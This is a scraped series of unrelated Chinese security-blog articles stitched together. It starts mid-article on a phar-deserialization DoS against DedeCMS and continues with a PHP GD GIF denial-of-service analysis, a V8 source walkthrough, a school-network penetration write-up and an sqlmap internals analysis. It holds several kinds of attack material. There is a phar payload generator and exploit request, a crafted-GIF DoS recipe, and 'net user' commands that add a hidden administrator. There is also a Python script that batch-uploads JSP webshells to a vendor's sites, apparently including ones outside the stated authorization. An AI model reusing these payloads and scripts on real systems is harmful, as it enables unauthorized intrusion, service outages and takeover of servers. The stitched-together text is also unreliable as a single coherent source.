Thomas的举出的例子中可以看到，该漏洞主要通过利用魔术方法__destruct或__wakeup构造利用链，但是在实战环境里往往较难找到可以直接通过魔术方法触发的漏洞点。由于通过反序列化可以产生任意一种数据类型，因此我想到了PHP的一个很古老的漏洞：PHP内核哈希表碰撞攻击（CVE-2011-4885）。在PHP内核中，数组是以哈希表的方式实现的，攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表（时间复杂度从O(1)
=>
O(n)）来触发拒绝服务攻击。PHP修复此漏洞的方式是限制通过$_GET或$_POST等方式传入的参数数量，但是如果PHP脚本通过json_decode()或unserialize()等方式获取参数，依然将受到此漏洞的威胁。接下来的漏洞利用思路就很明显了：构造一串恶意的serialize数据（能够触发哈希表拒绝服务攻击），然后将其保存到phar文件的metadata数据区，当文件操作函数通过phar://协议对其进行操作的时候就会触发拒绝服务攻击漏洞！我们可以通过如下代码生成一个恶意的phar文件：
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = **array** ();
**for** ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = **new** stdClass;
$new_obj->hacker = $array;
$p = **new** Phar( ___DIR___. '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');
然后通过如下代码测试拒绝服务攻击效果：
**<?php
**set_time_limit(0);
$startTime = microtime( **true** );
file_exists("<phar://avatar.phar>");
$endTime = microtime( **true** );
**echo** '执行时间： '.($endTime - $startTime). ' 秒';
在我的机器上的测试效果：
## 漏洞实例复现
这里我要利用DedeCMS一个很出名的漏洞点，这个漏洞最初被用于探测后台目录，之后在“巅峰极客”比赛中被当做SSRF攻击利用，现在我要利用这个漏洞点构造phar反序列化来产生拒绝服务攻击！
首先通过织梦的头像上传点来上传phar文件（avatar.jpg）
文件位置： ** /member/edit_face.php**
由于DedeCMS默认的上传文件大小被限制为50K，所以我们要修改一下配置文件：
**找到\data\config.cache.inc.php，**
**把$cfg_max_face修改为5000**
上传成功后就会显示出文件的相对路径，然后直接构造如下数据包即可验证漏洞：
POST /uploads/tags.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencode
Content-Length: 136
dopost=save&_FILES[lsa][tmp_name]=<phar://uploads/userup/3/myface.jpg>&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif
## 参考
**[1]**<https://www.lorexxar.cn/2017/11/10/hitcon2017-writeup/>
**[2]**<http://php.net/manual/en/book.phar.php>
**[3]**<https://blog.ripstech.com/2018/new-php-exploitation-technique/>
**[4]**<http://www.laruence.com/2011/12/30/2435.html>
**[5]**[https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It’s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf](https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) | 社区文章 |
# 最近GD库拒绝服务漏洞分析与EXP构造(CVE-2018-5711)
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近爆出PHP GD库拒绝服务攻击漏洞，影响的版本比较多。官方上有漏洞的报告，但是看下来还是有不懂的地方，于是下载源码自己分析下。
## 0x01 漏洞分析
There is a do-while in file `ext/gd/libgd/gd_gif_in.c` and function `LWZReadByte_`
do {
sd->firstcode = sd->oldcode =
GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
} while (sd->firstcode == sd->clear_code);
https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L460
The implementation of `GetCode` is in `GetCode_`
static int
GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
{
int i, j, ret;
unsigned char count;
...
if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
scd->done = TRUE;
...
}
https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L376
As you can see, `GetDataBlock` will read the image data and return the length. If EOF, returned -1. But the variable `count` is `unsigned char`, will always be positive value. So the line `scd->done = TRUE` will never be executed.
根据官方的报告，`LWZReadByte_` 这个函数会造成死循环，原因是由于`count`变量是`unsigne
char`,永远不会是负数，从而无法判断图片是否读取完毕，造成`scd->done =
TRUE`无法执行，一开始没有想到这个报告很懒，还疑问那岂不是所有的`GIF`图片都会造成拒绝服务了（还真去拿普通的GIF图片试了试）。
其实还要满足`sd->firstcode == sd->clear_code`才能造成死循环。
do {
sd->firstcode = sd->oldcode =
GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
} while (sd->firstcode == sd->clear_code);
那为什么报告中要指出`scd->done =
TRUE`无法执行。看这个函数上面，发现有一个`if`的判断，如果`scd->done`为`True`,则会直接返回`-1`。那么`sd->firstcode
== sd->clear_code`永远不会成立了，造成循环退出。所以`scd->done`一定不能为`True`。
[gd_gif_in.c#L389](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L389
"GetCode_第389行")
if ( (scd->curbit + code_size) >= scd->lastbit) {
if (scd->done) {
if (scd->curbit >= scd->lastbit) {
/* Oh well */
}
return -1;
}
scd->buf[0] = scd->buf[scd->last_byte-2];
scd->buf[1] = scd->buf[scd->last_byte-1];
if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
scd->done = TRUE;
scd->last_byte = 2 + count;
scd->curbit = (scd->curbit - scd->lastbit) + 16;
scd->lastbit = (2+count)*8 ;
}
上面仅仅是为了满足不返回`-1`，但是还要满足返回结果等于`sd->clear_code`。接下来的`ret`结果由下面的代码控制。通过构造GIF,可以控制`ret`的返回结果。而`sd->clear_code`也是可以控制。从而达到死循环。
[gd_gif_in.c#L407](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L407
"GetCode_第407行")
if ((scd->curbit + code_size - 1) >= (CSD_BUF_SIZE * 8)) {
ret = -1;
} else {
ret = 0;
for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {
ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
}
}
scd->curbit += code_size;
return ret;
## 0x02 EXP构造
漏洞成因分析完了，知道EXP的关键点是控制`sd->clear_code`与`GetCode_`函数返回结果一致。
### 1.控制sd->clear_code
首先分下`sd->clear_code`是从哪里获取的。
获取函数的参数`input_code_size`，然后再把`1`左移`input_code_size`位。得到`sd->clear_code`。
[gd_gif_in.c#L431](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L431
"gd_gif_in.c#L431")
static int
LWZReadByte_(gdIOCtx *fd, LZW_STATIC_DATA *sd, char flag, int input_code_size, int *ZeroDataBlockP)
{
int code, incode, i;
if (flag) {
sd->set_code_size = input_code_size;
sd->code_size = sd->set_code_size+1;
sd->clear_code = 1 << sd->set_code_size ;
sd->end_code = sd->clear_code + 1;
sd->max_code_size = 2*sd->clear_code;
sd->max_code = sd->clear_code+2;
再追踪下调用`LWZReadByte`函数的地方，并且`flag`为`TRUE`。这里看到`input_code_size`为`c`。
[gd_gif_in.c#L586](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L586
"gd_gif_in.c#L586")
if (LWZReadByte(fd, &sd, TRUE, c, ZeroDataBlockP) < 0) {
return;
}
再追踪下`c`从哪里来的，通过`ReadOK`从`fd`获取到的。其实也就是读取GIF图片里面一个字节。
[gd_gif_in.c#L569](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L569
"gd_gif_in.c#L569")
if (! ReadOK(fd,&c,1)) {
return;
}
前面使用`ReadOK`函数读取GIF图片的一些信息，比如`GIF89a`、`高`、`宽`之类的。到这里读取到是哪个字节?读取的是`UBYTE
LZWMinimumCodeSize`。如下图所示：
所以更改`UBYTE LZWMinimumCodeSize`的值则可以控制`sd->clear_code`的值。
### 2.控制GetCode_返回结果ret
接下来就是控制`GetCode_`的返回结果ret,由如下代码控制。
[gd_gif_in.c#L389](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L389
"GetCode_第389行")
if ( (scd->curbit + code_size) >= scd->lastbit) {
if (scd->done) {
if (scd->curbit >= scd->lastbit) {
/* Oh well */
}
return -1;
}
scd->buf[0] = scd->buf[scd->last_byte-2];
scd->buf[1] = scd->buf[scd->last_byte-1];
if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
scd->done = TRUE;
scd->last_byte = 2 + count;
scd->curbit = (scd->curbit - scd->lastbit) + 16;
scd->lastbit = (2+count)*8 ;
}
if ((scd->curbit + code_size - 1) >= (CSD_BUF_SIZE * 8)) {
ret = -1;
} else {
ret = 0;
for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {
ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
}
}
scd->curbit += code_size;
return ret;
最为关键的是如下代码。
for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {
ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
}
`scd->buf`是通过`GetDataBlock`获取到如下图data蓝色部分。内容全部为一样，因为可以使`scd->buf[i /
8]`保证获取到一个固定值。便于控制`ret`的结果。
还有`（1 << (i % 8))`，这个值是`1、2、4、8、16、32、64、128`的循环。综合这两点，是可以控制`ret`值了。
比如：如果想返回结果为`2`，`code_size`控制为`2`的时候，再`scd->buf[i/8]= 0xAA`满足下面条件就可以返回`2`的结果。
scd->buf[i/8]&1==0 and scd->buf[i/8]&2!=0 and scd->buf[i/8]&4==0 and scd->buf[i/8]&8!=0 and scd->buf[i/8]&16==0 and scd->buf[i/8]&32!=0 and scd->buf[i/8]&64==0 and scd->buf[i/8]&128!=0
### 3.完整构造EXP过程
在`LZWMinimumCodeSize`设置为`1`。那么`sd->clear_code`值为`2`。这个时候`GetCode`返回的值也必须是`2`。
do {
sd->firstcode = sd->oldcode =
GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
} while (sd->firstcode == sd->clear_code);
return sd->firstcode;
此时`code_size`为`2`。
for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {
ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
}
意味着或运算两次。我们把第一次`((scd->buf[i / 8] & (1 << (i % 8))) != 0) <<
j`结果控制为0，第二次结果控制为2。这样0或2结果还是2。
ret=ret|((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
ret=ret|((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;
那该怎么做尼？`scd->buf[i/8]`一直是固定值，`(1 << (i %
8)))`是`1、2、4、8、16、32、64、128`的循环(至于为什么是这个循环，有点复杂，枯燥而且很长，由兴趣的可以自己下载php源码进行调试)，写个python脚本遍历一下。寻找`scd->buf[i
/ 8]`为哪个固定值的时候，可以满足上面提出的条件。下面python脚本跑出结果`x`的值是`170(0XAA)`。
for x in range(0,255):
if(x&1==0 and x&2!=0 and x&4==0 and x&8!=0 and x&16==0 and x&32!=0 and x&64==0 and x&128!=0):
print(x)
于是对正常的图片进行如下填充就完成EXP的构造了
再看下官方给出的EXP
`code_size`为`4`，所以python脚本如下：
for x in range(0,255):
if(x&1==0 and x&2==0 and x&4==0 and x&8!=0 and x&16==0 and x&32==0 and x&64==0 and x&128!=0):
print(x)
跑出结果`x`为`136（0x88）`。图片里面也是用`0x88`填充的。
## 0x03参考
<https://bugs.php.net/bug.php?id=75571> | 社区文章 |
# 《Chrome V8 源码》44. Runtime_StringToArray 源码、触发条件
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
Runtime 是一系列采用 C++ 语言编写的功能方法，它实现了大量 JavaScript 运行期间需要的 native 功能。接下来几篇文章将介绍一些
Runtime 方法。本文分析 Runtime_StringToArray 方法的源码和重要数据结构，讲解 Runtime_StringToArray
方法的触发条件。
**注意：** Runtime 方法的加载、调用以及 RUNTIME_FUNCTION 宏模板请参见第十六篇文章。—allow-natives-syntax
和 %-prefix 不是本文的讲解重点。
## 2 StringToArray 测试用例
字符串转数组（StringToArray）主要应用在 String.prototype.split 源码中，StringToArray
功能的实现有两个，一个是 StringBuiltinsAssembler::StringToArray()（参见第 39 篇文章），另一个是
Runtime_StringToArray()。字符串转数组时，先使用 StringBuiltinsAssembler::StringToArray()
功能，当该功能 **不适合** 时转而采用效率较低的 Runtime_StringToArray() 功能。下面从 split 源码说起：
1. TF_BUILTIN(StringPrototypeSplit, StringBuiltinsAssembler) {
2. // If the separator string is empty then return the elements in the subject.
3. {//.............省略.....................
4. Label next(this);
5. GotoIfNot(SmiEqual(LoadStringLengthAsSmi(separator_string), smi_zero),
6. &next);
7. TNode<Smi> subject_length = LoadStringLengthAsSmi(subject_string);
8. GotoIf(SmiEqual(subject_length, smi_zero), &return_empty_array);
9. args.PopAndReturn(
10. StringToArray(context, subject_string, subject_length, limit_number));
11. BIND(&next);
12. }//.............省略.....................
13. }
上述代码中，第 5 行代码检测 separator_string 的长度不为零时，跳转到 11 行；
第 7-8 行代码判断字符串是否为空，如果为空则返回空数组；
第 9 行代码生成并返回由字符组成的数组，也就是 string.split(“”) 的结果。
下面给出 StringBuiltinsAssembler::StringToArray() 源码：
1. TNode<JSArray> StringBuiltinsAssembler::StringToArray(
2. TNode<NativeContext> context, TNode<String> subject_string,
3. TNode<Smi> subject_length, TNode<Number> limit_number) {
4. //省略..................
5. to_direct.TryToDirect(&call_runtime);
6. BIND(&call_runtime);
7. {
8. result_array = CAST(CallRuntime(Runtime::kStringToArray, context,
9. subject_string, limit_number));
10. Goto(&done);
11. }
12. BIND(&done);
13. return result_array.value();
14. }
上述代码的详细功能参见第 39 篇文章，第 5 行代码转换失败时则跳转到第 8 行代码（Runtime_StringToArray），也就符合了前面提到的
“不适合” 条件。
TryToDirect 功能参见之前的文章，下面给出最终的测试用例:
var str1="chromium";
var str2="blink";
var str3 = "Understanding"
var cons= str1+str2+str3.substring(3);
console.log(cons.split(""));
上述代码中， cons 变量中包括了 “str1 + str2” 的结果，该结果的类型是 ConsString，也包括了 str3 的子部分，所以会导致
TryToDirect 失败。
## 3 Runtime_StringToArray 源码
源码如下：
1. RUNTIME_FUNCTION(Runtime_StringToArray) {
2. HandleScope scope(isolate);
3. DCHECK_EQ(2, args.length());
4. CONVERT_ARG_HANDLE_CHECKED(String, s, 0);
5. CONVERT_NUMBER_CHECKED(uint32_t, limit, Uint32, args[1]);
6. s = String::Flatten(isolate, s);
7. const int length =
8. static_cast<int>(std::min(static_cast<uint32_t>(s->length()), limit));
9. Handle<FixedArray> elements;
10. int position = 0;
11. if (s->IsFlat() && s->IsOneByteRepresentation()) {
12. elements = isolate->factory()->NewFixedArray(length);
13. DisallowGarbageCollection no_gc;
14. String::FlatContent content = s->GetFlatContent(no_gc);
15. if (content.IsOneByte()) {
16. base::Vector<const uint8_t> chars = content.ToOneByteVector();
17. position = CopyCachedOneByteCharsToArray(isolate->heap(), chars.begin(),
18. *elements, length);
19. } else {
20. MemsetTagged(elements->data_start(),
21. ReadOnlyRoots(isolate).undefined_value(), length);
22. }
23. } else {
24. elements = isolate->factory()->NewFixedArray(length);
25. }
26. for (int i = position; i < length; ++i) {
27. Handle<Object> str =
28. isolate->factory()->LookupSingleCharacterStringFromCode(s->Get(i));
29. elements->set(i, *str);
30. }
31. #ifdef DEBUG
32. for (int i = 0; i < length; ++i) {
33. DCHECK_EQ(String::cast(elements->get(i)).length(), 1);
34. }
35. #endif
36. return *isolate->factory()->NewJSArrayWithElements(elements);
37. }
上述代码中，第 6 行代码执行字符串 Flatten；
第 7 行获得字符串长度 length，并做最大长度限制检测 limit；
第 11 行检测字符串是否为 OneByte 类型；
第 12 行申请长度为 length 的 Array 数组 elements；
第 14 行获得 FlatContent 内存；
第 16~17 行把 FlatContent 内容以字符为粒度逐个拷贝到 elements 数组中；
第 20~24 行创建 Array 数组 elements；
第 26~29 行从 Cache 中查找相应的字符并填充进 elements；
第 36 行使用 elements 创建 JSArray 并返回结果。
下面说明 Runtime_StringToArray 中使用的重要函数：
**（1）** LookupSingleCharacterStringFromCode，V8 内部字符串缓存功能
1. Handle<String> Factory::LookupSingleCharacterStringFromCode(uint16_t code) {
2. if (code <= unibrow::Latin1::kMaxChar) {
3. {
4. Object value = single_character_string_cache()->get(code);
5. }
6. Handle<String> result =
7. InternalizeString(base::Vector<const uint8_t>(buffer, 1));
8. single_character_string_cache()->set(code, *result);
9. return result;
10. }
11. uint16_t buffer[] = {code};
12. return InternalizeString(base::Vector<const uint16_t>(buffer, 1));
13. }
V8 使用 string cache 保存常用的、可以复用的字符，这些字符的类型是内部字符。上述代码中，第 2-4 行代码使用 int16 类数值 code
在 ASCII 范围内查找 cache；
第 6 行申请新的内部字符串，并保存到 string cache 中；
第 11~12 行申请新的内部字符串，这些字符串超了 ASCII 范围，重复使用的概率很小，所以不缓存 string cache。
**（2）** InternalizeString，内部字符串生成函数
1. template <typename Impl>
2. Handle<String> FactoryBase<Impl>::InternalizeString(
3. const base::Vector<const uint8_t>& string, bool convert_encoding) {
4. SequentialStringKey<uint8_t> key(string, HashSeed(read_only_roots()),
5. convert_encoding);
6. return InternalizeStringWithKey(&key);
7. }
8. template <typename Impl>
9. Handle<String> FactoryBase<Impl>::InternalizeString(
10. const base::Vector<const uint16_t>& string, bool convert_encoding) {
11. SequentialStringKey<uint16_t> key(string, HashSeed(read_only_roots()),
12. convert_encoding);
13. return InternalizeStringWithKey(&key);
14. }
上述代码从 int8 和 int16 两个方面分别实现 InternalizeString()，核心功能由
InternalizeStringWithKey() 实现。
Runtime_StringToArray 方法的最后一行代码将 elements 包装成 NewJSArrayWithElements 数组并返回结果。
**（3）** NewJSArrayWithElements，JSArray生成函数
源码如下：
1. Handle<JSArray> Factory::NewJSArrayWithUnverifiedElements(
2. Handle<FixedArrayBase> elements, ElementsKind elements_kind, int length,
3. AllocationType allocation) {
4. DCHECK(length <= elements->length());
5. NativeContext native_context = isolate()->raw_native_context();
6. Map map = native_context.GetInitialJSArrayMap(elements_kind);
7. if (map.is_null()) {
8. JSFunction array_function = native_context.array_function();
9. map = array_function.initial_map();
10. }
11. Handle<JSArray> array = Handle<JSArray>::cast(
12. NewJSObjectFromMap(handle(map, isolate()), allocation));
13. DisallowGarbageCollection no_gc;
14. JSArray raw = *array;
15. raw.set_elements(*elements);
16. raw.set_length(Smi::FromInt(length));
17. return array;
18. }
上述代码中，第 2 行 elements 是之前申请的字符串数组；elements_kind 采用默认的
TERMINAL_FAST_ELEMENTS_KIND；
第 6 行根据 elements_kind 获取初始 map；
第 8~9 行 map 为空时采用 array_function 初始化 map；
第 11 行创建 JSArray 数组对象 array；
第 15~16 行把 elements 和 length 保存到 array 中。
**（4）** NewJSObjectFromMap，申请JSArray内存空间
1. Handle<JSObject> Factory::NewJSObjectFromMap(
2. Handle<Map> map, AllocationType allocation,
3. Handle<AllocationSite> allocation_site) {
4. // JSFunctions should be allocated using AllocateFunction to be
5. // properly initialized.
6. DCHECK(!InstanceTypeChecker::IsJSFunction((map->instance_type())));
7. // Both types of global objects should be allocated using
8. // AllocateGlobalObject to be properly initialized.
9. DCHECK(map->instance_type() != JS_GLOBAL_OBJECT_TYPE);
10. JSObject js_obj = JSObject::cast(
11. AllocateRawWithAllocationSite(map, allocation, allocation_site));
12. InitializeJSObjectFromMap(js_obj, *empty_fixed_array(), *map);
13. DCHECK(js_obj.HasFastElements() || js_obj.HasTypedArrayElements() ||
14. js_obj.HasFastStringWrapperElements() ||
15. js_obj.HasFastArgumentsElements() || js_obj.HasDictionaryElements());
16. return handle(js_obj, isolate());
17. }
上述代码中，第 6、9 行代码检测 type 类型；第 10 行代码根据 map 获取内存空间 js_obj；第 12 行代码
InitializeJSObjectFromMap 使用 empty_fixed_array 初始化 js_obj。
返回 js_obj 到 NewJSArrayWithUnverifiedElements 方法中，然后设置 elements 和 length，最终完成
JSArray 的申请。
图 1 给出 Runtime_StringToArray 的调用堆栈，供读者复现。
**技术总结**
**（1）** StringBuiltinsAssembler::StringToArray 方法效率最高，Runtime_StringToArray
是它的备选方案；
**（2）** JSArray 对象使用 FixArray 存储数据；
**（3）** INTERNALIZED_STRING_TYPE 是 V8 的字符串类型，此外还有 ConsString、Sliced 等，具体参见枚举类
InstanceType。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
**前言** ：此次挖洞较为基础，分析得不足的地方望大佬指正。
**内网挖洞** ：
建议像我这样入门不久的可以拿自己学校内网练练手先（得授权），再在在教育行业SRC等漏洞平台上挖掘漏洞，赢得认可，获取些动力。<大佬的当我没说 0.0>
向信息中心的老师申请了对学校进行内网渗透测试的授权之后，便开始信息收集（亮神说的：渗透的本质是信息收集）。
因为在工作室辅助运维也知道服务器多在10.x.x.0/24这网段，这里我用Goby对该网段收集存活ip和端口。(因为真实ip可以绕过waf所以可以放开扫，当然其它大学就不一定了)
内网一堆漏洞emm，然后就可以用大佬的webalivescan批量扫一下Goby得的存活ip，获取标题，web指纹识别和简单的爆破一些目录
工具地址：<https://github.com/broken5/WebAliveScan>
然后先挑带登录标题的，目录扫描到登录的或敏感目录的软柿子开干，发现xx教学平台
没有验证码爆破，当然有的有验证码也可能虚的，根据自己学号推测 ，
例如 2018xx 一般是根据 入校年数+专业+班级+xx来设定的，爆破后4位得到弱口令：
2018xx 123456
然后常规的：xxx-->控制面版-->上传头像-->Getshell。
当然很多jsp马都没兼容，试了挺多这大佬的jsp马才成功
地址：<https://github.com/threedr3am/JSP-Webshells>
直接administrator权限，提权都省了
外网批量：
上面图有：技术支持：xx公司
FOFA搜索关键词：xxx有限公司
然后挑一个站，爆破，xx学校，学号通过谷歌语法来搜集。
如果收集不到,大多学校学号是如下规律:
2001 0077 入学的时间+报到位次
2018 031 01 05 入校年数+专业+班级+xx
2018 1 17 001 入学年+1本科学生+17xx招生专业代号，001这专业第一个学生。
爆破失败，才恍然大悟，可能未授权文件上传呢。
于是在burp将HOST地址改成目标的地址，发送数据包
一发入魂，成功上传图片,改jsp也没问题，欧克妥妥的未授权文件上传！
该网站Getshell后尝试3389登录：
net user mstlab mstlab /add : 添加用户并设置密码
net localgroup administrators mstlab /add : 将用户加入管理组
登录后在其桌面翻到敏感信息：测试账号和默认密码
同时这只是该公司的一个系统，又扩展到其它系统：（也大多成功上传）
但有些系统还是不行，于是用测试账号登录发现这些系统的第二处未授权文件上传，很老的FCKedito，可运行哥斯拉马
至此该公司的系统基本通杀
**Exploit编写** ：
当然少量写个html文件上传就ok了，这里较多站就写个一键返回shell脚本。下面的已脱敏
import requests
# 读取webshell文件，
file = open('shell.txt', 'r',encoding='utf-8')
shell = file.read()
#shell=""" <% out.println("just4test！ "); %> """
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"}
cookies={"JSESSIONID":"4F0ADEADB70AD18922C8C436837A5A3D", }
# 输入目标
url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")
# 定义上传目录
upload_url = url+"/xxx?action=xx"
#file参数files = {'file1': ('1.png', open('logo.png', 'rb'), 'image/png')}
files = {'file': ("shell.jsp", shell, "image/png")}
# 参见post内容
upload_data = {"start": "forum_update_set", "forum_update_set": "updatacord", "forum_nick": "11", "forum_signature": " ", "forum_pic_2": " ", }
# 上传
upload_res = requests.post(upload_url, headers=headers,cookies=cookies, data=upload_data, files=files)
# 此时会返回上传文件的路径
path = upload_res.text
# 解析返回值获取上传地址
path = path[path.find('data')+4:path.rfind('jsp') ]
# 再结合路径
shell_url = url+"/dta"+path+"jsp?cmd=whoami"
# 返回结果，默认是system权限
print('shell is here:'+shell_url)
**白盒审计:**
最近刚好入门了java web开发，虽然Getshell了，但也得了解漏洞原理吧。于是就打包源码，代码审计一下，看一下漏洞原理
源码一般在Tomcat 的 webapps 目录或者
Tomcat 下的 conf 目录\Catalina\localhost\ 下的配置文件
有自定义源码工程路径：如abc.xml内容：
<!--
Context 表示一个工程上下文 ,path 表示工程的访问路径:/abc ,
docBase 表示你的工程目录在哪里
-->
<Context path="/abc" docBase="E:\book" ></Context>
访问这个工程的路径如下:<http://ip:port/abc/> 就表示访问 E:\book 目录
然后我在Tomcat 的 webapps 找到源码并用哥斯拉的打包
**第一个文件上传：**
首先查看web.xml,看看全局的配置以及路由，先看filter过滤,可以看到filter类QDKFilte的位置
但我们的源码没有对应的java文件或者类，便看java依赖有对应的java包xxx.jar
反编译用IDEA的插件“Java Bytecode Decompiler”，插件安装使用可自行百度
反编译成功后得到对应xx.jar,注意要解压生成的jar包，即可得到java源码
然后filter类QDKFilte代码经过混淆,太烦杂,太多了并没找到session如何验证。。。。大佬请勿喷0.0我是菜鸡!!!
然后文件上传漏洞web.xml可以看到文件上传的类
var13从全局函数获取传递的参数和值
然后getFileExtendName（var13）直接获取后缀名并直接拼接起来，然后创建文件
跟进getFileExtendName（）是直接获取后缀的
**第二个文件上传** 漏洞的上传路径是
http:/ip:8080/xxx/FCKeditor/editor/xxx/jsp/upload.jsp
找到对应的文件：
和上面的类似用getFileExtendName（）直接获取后缀的然后拼接没白黑名单 | 社区文章 |
# Sqlmap如何检测Boolean型注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
一次使用sqlmap过程中，它无法检测出一个很明显的布尔型回显注入，很好奇sqlmap如何检测不出。再加上有写检测注入工具的想法，看看sqlmap究竟是如何自动判断boolean型注入。
## 0x01 无法检测boolean注入
这里是存在boolean型注入，sqlmap检测不出来了。
但是当把”33333333”增长一点，sqlmap是提取到”33333333…”作为了关键词来判断哪个页面正确哪个页面错误。
那sqlmap是如何提取的呢？
## 0x02 分析
sqlmap之所以能成为神器，因为它考虑了很多，代码也就很多，但是我对其他的技术细comparison节不太感兴趣，所以只针对如何检测boolean进行详细追溯。开始分析的时候，看代码的时候是根据关键词往上溯，这里是从上往下看。
通过上图，通过sqlmap显示的info，找到关键词`with --string=`，来到`sqlmap-masterlibcontrollerchecks.py`，再寻找if、while之类的看下代码的流程，来到`478行`
从注释可以看到，这里是boolean型检测开始，下面还有其他的error-based、time-based、UNION
query。明白自己所在的位置，大概分析的范围。
`genCmpPayload`这个函数用于生成boolean类型payload，
`kb.matchRatio`是原始页面和`id=原始值`+`"),'.)(((,`报错页面的相似度。
`kb.negativeLogic`是负逻辑，用一个负的随机数然后添加or的payload，where其他值可以在`sqlmap-masterxmlpayloadsboolean_blind.xml`看到具体含义。
接下来是`queryPage`函数，这个函数比较重要，它有一个修饰器，在`sqlmap-masterlibcoredecorators.py`中，threadData比较重要，它存储着上次请求的请求的各种数据，用来进行对比数据。在这个修饰的作用是为了当函数调用失败的时候，如果函数增加了往threadData.valueStack增加了数据，可以进行删除，从而恢复原来未调用函数之前的状态。下面是threadData存储的内容。
`queryPage`还会根据参数值，返回不同的结果，比较关键的是`getRatioValue`参数，因为这个参数的bool值影响里面最为关键函数comparison返回值。
`comparison`函数，也是根据getRatioValue参数，返回不同的结果，当getRatioValue为True的时候，返回与原始页面的相似度。
为False的时候，返回Bool值：
ratio > UPPER_RATIO_BOUND（0.98），返回True。
ratio < LOWER_RATIO_BOUND（0.02）为False。
(ratio - kb.matchRatio) > DIFF_TOLERANCE(0.05)，允许%0.05的误差。
很多情况下payload会回显在页面上，sqlmap这里是把payload替换成 **REFLECTED_VALUE**
，然后对比的时候再把这些干扰因素去掉。
再通过threadData给falsePage,
truePage返回包的各种参数（用于后面提取特征）。并通过`queryPage`获取相似度。进入到下一步判断。
这里有一个`kb.nullConnection`，通过checkNullConnection函数进行检测，
1、HEAD方法请求，判断返回包里面是否有Content-Length。（近iis6支持）
2、增加Header头Range: bytes=-1，通过len判断返回报body的长度是不是等于1。（这个测试了apache、nginx、Apache-Coyote/1.1都无效）
3、直接通过判断返回报文里面是否有Content-Length，如果有则说明支持skip-read。（仅仅读取Content-Length的长度，来作为判断注入的依据）
当取Content-Length作为判断的时候的相似度计算公式，这里注意一点，这里有一个取倒数
ratio = 1. * len(seqMatcher.a) / len(page)
if ratio > 1:
ratio = 1. / ratio
因为多字节的问题，”路飞”,len(“路飞”)为2，而Content-Length为4。这样会导致ratio大于1。
再看下下面的判断
前面是发送正确的payload返回true，现在拿false的payload发送，测试是否返回false。如果错误页面的相似度也高于0.98则进入提取特征的环节，并不会判定为为注入。如果错误页面低于0.98虽然也会进入获取页面特征环节，但是此时已经被标注成了注入了。
在标记注入前，如果`kb.heavilyDynamic`（太多的变量了），还会进行一次使用ture
payload判断是否如何规则。然后才把injectable置为true。
函数`getFilteredPageContent`通过正则`<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|t|n|r`去掉所有的标签和script和css样式代码，通过对比正确的页面和错误页面收集的关键词，减去差集获取特征候选者。
获取到特征候选者还会继续判断是不是仅仅由字符，逗号，句号，感叹，空格构成，里面是否又感叹号，是长度大于10，这样才之后才能成为特征值。
